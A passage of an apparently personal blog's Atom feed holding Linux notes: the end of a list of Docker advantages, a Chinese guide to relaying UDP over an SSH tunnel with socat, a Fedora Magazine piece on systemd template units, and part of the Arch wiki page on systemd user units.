&lt;h2 id=&quot;rocket-advantages-of-docker-containers-rocket&quot;&gt;🚀 Advantages of Docker containers 🚀&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;Modularity&lt;&#x2F;li&gt;
&lt;li&gt;Layers and image version control&lt;&#x2F;li&gt;
&lt;li&gt;Rollback&lt;&#x2F;li&gt;
&lt;li&gt;Rapid deployment&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;💡 So, Docker technology is a more granular, controllable, microservices-based approach that places greater value on efficiency.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>SSH: 使用SSH+SOCAT中继UDP数据包</title>
        <published>2025-04-17T00:00:00+00:00</published>
        <updated>2025-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/ssh-使用ssh-socat中继udp数据包/"/>
        <id>https://vercel.juzhong.asia/obsidian/ssh-使用ssh-socat中继udp数据包/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/ssh-使用ssh-socat中继udp数据包/">&lt;h1 id=&quot;ssh-shi-yong-ssh-socatzhong-ji-udpshu-ju-bao&quot;&gt;SSH: 使用SSH+SOCAT中继UDP数据包&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;我们在阿里云开了一台服务器, 合作方那边的设备需要向服务器6000端口不停的发送UDP数据包, 我通过SSH和SOCAT把对服务器6000端口的数据包转发到我本地Macbook Pro的6000端口上以方便开发和测试工作. &lt;code&gt;目的是解决SSH仅支持TCP的问题&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;wang-luo&quot;&gt;网络&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ssh-socat-udp-relay&#x2F;ssh-socat-udp-relay.jpg&quot; alt=&quot;图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;其中&lt;code&gt;server_ip&lt;&#x2F;code&gt;为阿里云SSH服务器IP地址或域名. 使用时可以替换为你自己的服务器IP地址或域名.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;sshduan-kou-zhuan-fa-xu-yao-de-gong-ju&quot;&gt;SSH端口转发需要的工具&lt;&#x2F;h2&gt;
&lt;p&gt;SSH服务器, SOCAT工具&lt;&#x2F;p&gt;
&lt;h2 id=&quot;sshde-tcpduan-kou-zhuan-fa&quot;&gt;SSH的TCP端口转发&lt;&#x2F;h2&gt;
&lt;p&gt;在&lt;code&gt;client&lt;&#x2F;code&gt;端运行如下命令&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ssh -vv -N -R 8000:127.0.0.1:8000 root@server_ip
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面的命令在客户端和SSH服务器之间建立了一根相互连接的隧道. 隧道客户端地址为本机地址 &lt;code&gt;127.0.0.1:8000&lt;&#x2F;code&gt;, 服务器端地址为 &lt;code&gt;0.0.0.0:8000&lt;&#x2F;code&gt;(监听在&lt;code&gt;0.0.0.0&lt;&#x2F;code&gt;表示绑定服务器的所有接口地址, 这样客户端能够访问服务器端的所有接口地址)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;sshde-udpduan-kou-zhuan-fa&quot;&gt;SSH的UDP端口转发&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;由于SSH并不直接支持UDP, 因此我们用到了一个UDP中继工具 &lt;code&gt;socat&lt;&#x2F;code&gt; (SOcket CAT)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;把服务器在UDP 6000端口上收到的UDP数据包转发到服务器本地8000 TCP端口上. 在 &lt;code&gt;server&lt;&#x2F;code&gt; 端运行如下命令:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;socat -T15 udp4-recvfrom:6000,reuseaddr,fork tcp:localhost:8000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时UDP数据包会通过SSH隧道到达我本机笔记本的8000端口上, 我们还需要开一个转换器, 让本地8000端口接收到的TCP数据包转换为UDP数据包, 并发送到本地 6000 UDP端口上. 在 &lt;code&gt;client&lt;&#x2F;code&gt; 端运行如下命令:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;socat tcp4-listen:8000,reuseaddr,fork udp:127.0.0.1:6000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在我的本机就看到了, 从服务器6000端口, 通过SSH隧道过来的UDP数据包了.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;对于SSH的远程转发, 需要在SSH服务器端的&lt;code&gt;&#x2F;etc&#x2F;ssh&#x2F;sshd_config&lt;&#x2F;code&gt;配置文件中增加&lt;code&gt;GatewayPorts yes&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;下图为erlang编写的一个简单udp服务器接收到数据包时的输出.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ssh-socat-udp-relay&#x2F;erlang-udp-server-output.jpg&quot; alt=&quot;图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao-zi-liao&quot;&gt;参考资料&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.segmentfault.com&#x2F;?enc=vUdrF17yQKydwV3SzQrzxA%3D%3D.c%2FXkwWMYO7lJlkoKRZHc0%2BQiZY%2FDeZOJiJ7CPjakwzLXb%2FpQwK7hYcViYrnTf2GvoQhvJ9Hq0UEPoEg%2BuicWQhkDbauA96QfLZeb6%2Fq3QtM%3D&quot;&gt;SSH Port Forwarding for TCP and UDP Packets&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.segmentfault.com&#x2F;?enc=Gli0MAdwXjYsI1X84ZG6GA%3D%3D.PKBI1NsbjXncbWSdfNo%2FH3Q%2FsYgad3APikdbAnfNigpuXHB8K8CYHOGZc06H7rD1tYiR2N22M4FedjYB0iIvjv9yYGM4VN4J3dsqWD%2B7oS0%3D&quot;&gt;Performing UDP tunneling through an SSH connection&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>systemd: Template unit files - Fedora Magazine</title>
        <published>2025-04-17T00:00:00+00:00</published>
        <updated>2025-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/systemd-template-unit-files-fedora-magazine/"/>
        <id>https://vercel.juzhong.asia/obsidian/systemd-template-unit-files-fedora-magazine/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/systemd-template-unit-files-fedora-magazine/">&lt;h1 id=&quot;systemd-template-unit-files-fedora-magazine&quot;&gt;systemd: Template unit files - Fedora Magazine&lt;&#x2F;h1&gt;
&lt;p&gt;原文链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fedoramagazine.org&#x2F;systemd-template-unit-files&#x2F;&quot;&gt;https:&#x2F;&#x2F;fedoramagazine.org&#x2F;systemd-template-unit-files&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Welcome back to our continuing series on systemd features. As you’ve &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fedoramagazine.org&#x2F;what-is-an-init-system&#x2F;&quot;&gt;seen&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fedoramagazine.org&#x2F;systemd-getting-a-grip-on-units&#x2F;&quot;&gt;in&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fedoramagazine.org&#x2F;systemd-converting-sysvinit-scripts&#x2F;&quot;&gt;our&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fedoramagazine.org&#x2F;systemd-using-journal&#x2F;&quot;&gt;previous&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fedoramagazine.org&#x2F;systemd-unit-dependencies-and-order&#x2F;&quot;&gt;articles&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fedoramagazine.org&#x2F;systemd-masking-units&#x2F;&quot;&gt;systemd&lt;&#x2F;a&gt; brings more power and flexibility to service startup and management. Some features in systemd we’ve covered are for compatibility with the old SysVinit. However, a brand new feature in systemd is the template unit file.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-are-template-unit-files&quot;&gt;What are template unit files?&lt;&#x2F;h2&gt;
&lt;p&gt;Template unit files allow systemd to address multiple units from a single configuration file. You can call a systemd template unit file using a special format to use this feature:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;service_name&amp;gt;@&amp;lt;argument&amp;gt;.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The argument is a bit of text (string) passed to systemd to use in the unit file. The argument can be used to customize the way systemd deals with that specific instance of the unit. Multiple instances of the same unit can exist.&lt;&#x2F;p&gt;
&lt;p&gt;Two identifiers are used in the unit file for passing the instance argument.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;%i passes the argument, specially formatted (&lt;em&gt;escaped&lt;&#x2F;em&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;%I passes the argument verbatim without escaping&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Escaping formats the identifier with special rules before using it. Characters that would otherwise break file names are substituted.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;real-world-examples&quot;&gt;Real world examples&lt;&#x2F;h2&gt;
&lt;p&gt;OpenVPN, for example, uses template unit files to allow multiple instances using the same unit file. Here is the unit file for reference:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=OpenVPN Robust And Highly Flexible Tunneling Application On %I
After=network.target

[Service]
PrivateTmp=true
Type=forking
PIDFile=&amp;#x2F;var&amp;#x2F;run&amp;#x2F;openvpn&amp;#x2F;%i.pid
ExecStart=&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;openvpn --daemon --writepid &amp;#x2F;var&amp;#x2F;run&amp;#x2F;openvpn&amp;#x2F;%i.pid --cd &amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F; --config %i.conf

[Install]
WantedBy=multi-user.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here, you can see the escaped argument  &lt;em&gt;%i&lt;&#x2F;em&gt; used anywhere a filename is called. The unescaped argument  &lt;em&gt;%I&lt;&#x2F;em&gt; is used in the description to be more human readable.&lt;&#x2F;p&gt;
&lt;p&gt;This setup allows you to call &lt;em&gt;openvpn@myconfig.service&lt;&#x2F;em&gt; to launch an instance of &lt;em&gt;openvpn&lt;&#x2F;em&gt; with &lt;em&gt;myconfig&lt;&#x2F;em&gt; as the configuration file name. In this case, the command would start OpenVPN with  &lt;em&gt;&#x2F;etc&#x2F;openvpn&#x2F;myconfig.conf&lt;&#x2F;em&gt; as the configuration file. It would also store a process ID file as  &lt;em&gt;&#x2F;var&#x2F;run&#x2F;openvpn&#x2F;myconfig.pid&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Another example is the text based terminal on every Fedora system. When the user switches consoles using &lt;em&gt;Ctrl+Alt+F2, Ctrl+Alt+F3,&lt;&#x2F;em&gt; and so on, a new terminal is spawned. In this case systemd calls a service named &lt;em&gt;getty@.service.&lt;&#x2F;em&gt; systemd searches for the unit template &lt;em&gt;getty.service&lt;&#x2F;em&gt; and provide the appropriate argument such as &lt;em&gt;tty2&lt;&#x2F;em&gt; or &lt;em&gt;tty3&lt;&#x2F;em&gt; to the unit file. The  &lt;em&gt;%i&lt;&#x2F;em&gt; identifier provides the instance string so the terminal starts on the new console.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;example-template&quot;&gt;Example template&lt;&#x2F;h2&gt;
&lt;p&gt;For example, you could write a template unit file for a fancy web server like so:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# fancy-web-server.service
[Unit]
Description=My HTTP server
AssertPathExists=&amp;#x2F;srv&amp;#x2F;webserver

[Service]
Type=notify
ExecStart=&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;some-fancy-httpd-server %i.conf
Nice=5

[Install]
WantedBy=multi-user.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Using the above configuration, we can launch many instances from the single template configuration file. For instance:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo systemctl start fancy-web-server@config1.service
$ sudo systemctl start fancy-web-server@config2.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This would start two instances of fancy-http-server, launching the commands&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;some-fancy-httpd-server config1.conf
&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;some-fancy-httpd-server config2.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;em&gt;config1&lt;&#x2F;em&gt; and &lt;em&gt;config2&lt;&#x2F;em&gt; strings are taken from the systemd command and substituted into instances of  &lt;em&gt;%i&lt;&#x2F;em&gt;in the unit file.&lt;&#x2F;p&gt;
&lt;p&gt;This feature is useful since your service can work with many different configurations or settings without rewriting your service each time.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;further-reading&quot;&gt;Further reading&lt;&#x2F;h2&gt;
&lt;p&gt;The FreeDesktop website has &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.freedesktop.org&#x2F;software&#x2F;systemd&#x2F;man&#x2F;systemd.unit.html&quot;&gt;additional information&lt;&#x2F;a&gt; if you want to learn more about working with template unit files. (Hint: look for the word &lt;em&gt;template&lt;&#x2F;em&gt; in that document to see where the topic is covered.)&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>用户 - Arch Linux 中文维基</title>
        <published>2025-04-17T00:00:00+00:00</published>
        <updated>2025-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/用户-arch-linux-中文维基/"/>
        <id>https://vercel.juzhong.asia/obsidian/用户-arch-linux-中文维基/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/用户-arch-linux-中文维基/">&lt;h1 id=&quot;yong-hu-arch-linux-zhong-wen-wei-ji&quot;&gt;用户 - Arch Linux 中文维基&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Systemd&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&quot;&gt;systemd&lt;&#x2F;a&gt; 会给每个用户生成一个 systemd 实例，用户可以在这个实例下管理服务，启动、停止、启用以及禁用他们自己的单元。这个能力大大方便了那些通常在特定用户下运行的守护进程和服务，比如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Music Player Daemon&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Music_Player_Daemon&quot;&gt;Music Player Daemon&lt;&#x2F;a&gt;, 还有像拉取邮件等需要自动执行的任务。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gong-zuo-yuan-li&quot;&gt;工作原理&lt;&#x2F;h2&gt;
&lt;p&gt;从 systemd 226 版本开始，&lt;code&gt;&#x2F;etc&#x2F;pam.d&#x2F;system-login&lt;&#x2F;code&gt; 默认配置中的 &lt;code&gt;pam_systemd&lt;&#x2F;code&gt; 模块会在用户首次登录的时候, 自动运行一个 &lt;code&gt;systemd --user&lt;&#x2F;code&gt; 实例。 只要用户还有会话存在，这个进程就不会退出；用户所有会话退出时，进程将会被销毁。当&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&#x2F;%E7%94%A8%E6%88%B7#%E9%9A%8F%E7%B3%BB%E7%BB%9F%E8%87%AA%E5%8A%A8%E5%90%AF%E5%8A%A8_systemd_%E7%94%A8%E6%88%B7%E5%AE%9E%E4%BE%8B&quot;&gt;#随系统自动启动 systemd 用户实例&lt;&#x2F;a&gt;启用时, 这个用户实例将在系统启动时加载，并且不会被销毁。systemd 用户实例负责管理用户服务，用户服务可以使用systemd提供的各种便捷机制来运行守护进程或自动化任务，如 socket 激活、定时器、依赖体系以及通过 cgroup 限制进程等。&lt;&#x2F;p&gt;
&lt;p&gt;和系统单元类似，用户单元可以在以下目录找到(按优先级从低到高排序）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x2F;usr&#x2F;lib&#x2F;systemd&#x2F;user&#x2F;&lt;&#x2F;code&gt; 这里存放的是各个软件包安装的服务。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;systemd&#x2F;user&#x2F;&lt;&#x2F;code&gt; 这里存放的是HOME目录中已安装的软件包的单元。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;user&#x2F;&lt;&#x2F;code&gt; 这里存放的是由系统管理员维护的系统范围的用户服务。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;~&#x2F;.config&#x2F;systemd&#x2F;user&#x2F;&lt;&#x2F;code&gt; 这里存放的是用户自身的服务。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;当 systemd 用户实例启动时，它会将用户个人的 &lt;code&gt;default.target&lt;&#x2F;code&gt; 带起来。其他用户单元可以通过 &lt;code&gt;systemctl --user&lt;&#x2F;code&gt; 手动管理。参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;systemd.special.7#%E7%94%A8%E6%88%B7%E6%9C%8D%E5%8A%A1%E7%AE%A1%E7%90%86%E5%99%A8%E7%AE%A1%E7%90%86%E7%9A%84%E5%8D%95%E5%85%83&quot;&gt;systemd.special(7) § 用户服务管理器管理的单元&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;systemd --user&lt;&#x2F;code&gt; 实例是针对每个用户处理的，而不是针对会话。这样做的原理是用户服务处理的大部分资源，像 socket 或状态文件是针对每个用户的（存活于用户的主目录下）而不是会话。这意味着所有的用户服务是独立于会话之外运行的。最终，我们得出结论：基于会话运行的程序可能会导致用户服务中断。systemd 处理用户会话的方式是非常生硬的（pretty much in flux）。 单会话支持的进展参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mail.gnome.org&#x2F;archives&#x2F;desktop-devel-list&#x2F;2014-January&#x2F;msg00079.html&quot;&gt;[1]&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lists.freedesktop.org&#x2F;archives&#x2F;systemd-devel&#x2F;2014-March&#x2F;017552.html&quot;&gt;[2]&lt;&#x2F;a&gt; 。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;systemd --user&lt;&#x2F;code&gt; 和 &lt;code&gt;systemd --system&lt;&#x2F;code&gt; 运行于不同的进程里面，所以用户单元不能引用或依赖于系统单元或其他用户的单元。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ji-chu-she-zhi&quot;&gt;基础设置&lt;&#x2F;h2&gt;
&lt;p&gt;所有的用户单元都位于 &lt;code&gt;~&#x2F;.config&#x2F;systemd&#x2F;user&lt;&#x2F;code&gt; 路径下。 如果你想在首次用户登录时运行单元，对想要自动启动的单元执行 &lt;code&gt;systemctl --user enable unit&lt;&#x2F;code&gt; 即可。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;提示：&lt;&#x2F;strong&gt; 如果不是只让发出&quot;systemctl&quot;命令的用户启用某个service单元，而是想要让所有用户都生效，请以root权限执行&lt;code&gt;systemctl --global enable service&lt;&#x2F;code&gt; 命令。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;huan-jing-bian-liang&quot;&gt;环境变量&lt;&#x2F;h3&gt;
&lt;p&gt;systemd 用户实例不会继承类似 &lt;code&gt;.bashrc&lt;&#x2F;code&gt; 中定义的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Environment variables&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Environment_variables&quot;&gt;环境变量&lt;&#x2F;a&gt;。systemd 用户实例有三种设置环境变量的方式：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;对于有 &lt;code&gt;$HOME&lt;&#x2F;code&gt; 目录的用户，可以在 &lt;code&gt;~&#x2F;.config&#x2F;environment.d&#x2F;&lt;&#x2F;code&gt; 目录中新建一个&quot;.conf&quot;文件，然后在其中写入格式为&lt;code&gt;NAME=VAL&lt;&#x2F;code&gt;这样的行。这些设置只对指定用户的用户单元有效 。更多信息可以参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;environment.d.5&quot;&gt;environment.d(5)&lt;&#x2F;a&gt; 。&lt;&#x2F;li&gt;
&lt;li&gt;使用 &lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;user.conf&lt;&#x2F;code&gt; 文件中的 &lt;code&gt;DefaultEnvironment&lt;&#x2F;code&gt; 选项。这个配置在所有的用户单元中可见。&lt;&#x2F;li&gt;
&lt;li&gt;在 &lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;system&#x2F;user@.service.d&#x2F;&lt;&#x2F;code&gt; 下增加配置文件设置。 这个配置在所有的用户单元中可见。&lt;&#x2F;li&gt;
&lt;li&gt;在任何时候， 使用 &lt;code&gt;systemctl --user set-environment&lt;&#x2F;code&gt; 或 &lt;code&gt;systemctl --user import-environment&lt;&#x2F;code&gt;. 对设置环境变量之后启动的所有用户单元有效，但已经启动的用户单元不会生效。&lt;&#x2F;li&gt;
&lt;li&gt;使用由 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Dbus&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Dbus&quot;&gt;dbus&lt;&#x2F;a&gt;提供的 &lt;code&gt;dbus-update-activation-environment --systemd --all&lt;&#x2F;code&gt; 命令。和&lt;code&gt;systemctl --user import-environment&lt;&#x2F;code&gt;有同样的效果，但是会影响D-Bus会话。你可以把这个添加到shell初始化文件的末尾。&lt;&#x2F;li&gt;
&lt;li&gt;对于用户环境的“全局”环境变量，可以使用会被某些生成器解析的&lt;code&gt;environment.d&lt;&#x2F;code&gt; 目录。 更多信息可以参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;environment.d.5&quot;&gt;environment.d(5)&lt;&#x2F;a&gt;和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;systemd.generator.7&quot;&gt;systemd.generator(7)&lt;&#x2F;a&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;您还可以编写一个&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;systemd.environment-generator.7&quot;&gt;systemd.environment-generator(7)&lt;&#x2F;a&gt; 脚本，该脚本可以生成因用户而异的环境变量，如果您需要分别给每个用户环境配置变量，这可能是最好的方法（ &lt;code&gt;XDG_RUNTIME_DIR&lt;&#x2F;code&gt;, &lt;code&gt;DBUS_SESSION_BUS_ADDRESS&lt;&#x2F;code&gt;等就是这种情况 ）。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;提示：&lt;&#x2F;strong&gt; 如果想一次设置多个环境变量，可以写一个配置文件，文件里面每一行定义一个环境变量，用 &quot;key=value&quot; 的键值对表示，然后在你的启动脚本里添加&lt;code&gt;xargs systemctl --user set-environment &amp;lt; &#x2F;path&#x2F;to&#x2F;file.conf&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;一般情况下，你需要设置 &lt;code&gt;PATH&lt;&#x2F;code&gt; 这个环境变量。 配置完成后，可以使用命令 &lt;code&gt;systemctl --user show-environment&lt;&#x2F;code&gt; 来验证值是否正确。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;service-wen-jian-li-zi&quot;&gt;Service 文件例子&lt;&#x2F;h4&gt;
&lt;p&gt;新建 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Systemd&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd#Drop-in_files&quot;&gt;drop-in&lt;&#x2F;a&gt; 目录 &lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;system&#x2F;user@.service.d&#x2F;&lt;&#x2F;code&gt; 然后在里面新建一个 &lt;code&gt;.conf&lt;&#x2F;code&gt;文件 (例如 &lt;code&gt;local.conf&lt;&#x2F;code&gt;):&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;user@.service.d&amp;#x2F;local.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[Service]
Environment=&amp;quot;PATH=&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;ccache&amp;#x2F;bin:&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin:&amp;#x2F;usr&amp;#x2F;bin:&amp;#x2F;bin&amp;quot;
Environment=&amp;quot;EDITOR=nano -c&amp;quot;
Environment=&amp;quot;BROWSER=firefox&amp;quot;
Environment=&amp;quot;NO_AT_BRIDGE=1&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;任何一个 X 应用程序都需要使用 &lt;code&gt;DISPLAY&lt;&#x2F;code&gt; 来指示使用哪个显示器，而 &lt;code&gt;XAUTHORITY&lt;&#x2F;code&gt; 则是保存了用户授权文件 &lt;code&gt;.Xauthority&lt;&#x2F;code&gt; 的路径，X 应用需要用户授权文件中的 cookie 信息才能访问 X Server。如果你想通过 systemd 单元启动一个 X 应用，必须先设置这两个环境变量。systemd 提供了一个脚本 &lt;code&gt;&#x2F;etc&#x2F;X11&#x2F;xinit&#x2F;xinitrc.d&#x2F;50-systemd-user.sh&lt;&#x2F;code&gt;，在 X 启动的时候，将这些环境变量导入到 systemd 用户会话中。所以除非你不是通过正常的途径启动X，systemd用户服务应该已经包含了这两个变量。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;path&quot;&gt;PATH&lt;&#x2F;h4&gt;
&lt;p&gt;通过 &lt;code&gt;.bashrc&lt;&#x2F;code&gt; 或者 &lt;code&gt;.bash_profile&lt;&#x2F;code&gt; 设置的环境变量，对 systemd 都是不可见的。 如果你改变了你的 &lt;code&gt;PATH&lt;&#x2F;code&gt; 变量，并且准备在 systemd 单元运行的应用中使用这个环境变量，你必须在 systemd 的环境中设置 &lt;code&gt;PATH&lt;&#x2F;code&gt;。假设你在 &lt;code&gt;.bash_profile&lt;&#x2F;code&gt; 中设置了 &lt;code&gt;PATH&lt;&#x2F;code&gt;，让 systemd 感知到这个变化的最好方法是在修改 &lt;code&gt;PATH&lt;&#x2F;code&gt; 之后，加入以下行通知 systemd：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;~&amp;#x2F;.bash_profile
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;systemctl --user import-environment PATH
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;不会影响导入 &lt;code&gt;PATH&lt;&#x2F;code&gt; 之前启用的程序.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;systemd&lt;&#x2F;em&gt; 只有在处理绝对路径二进制时才会使用设置的 &lt;code&gt;PATH&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
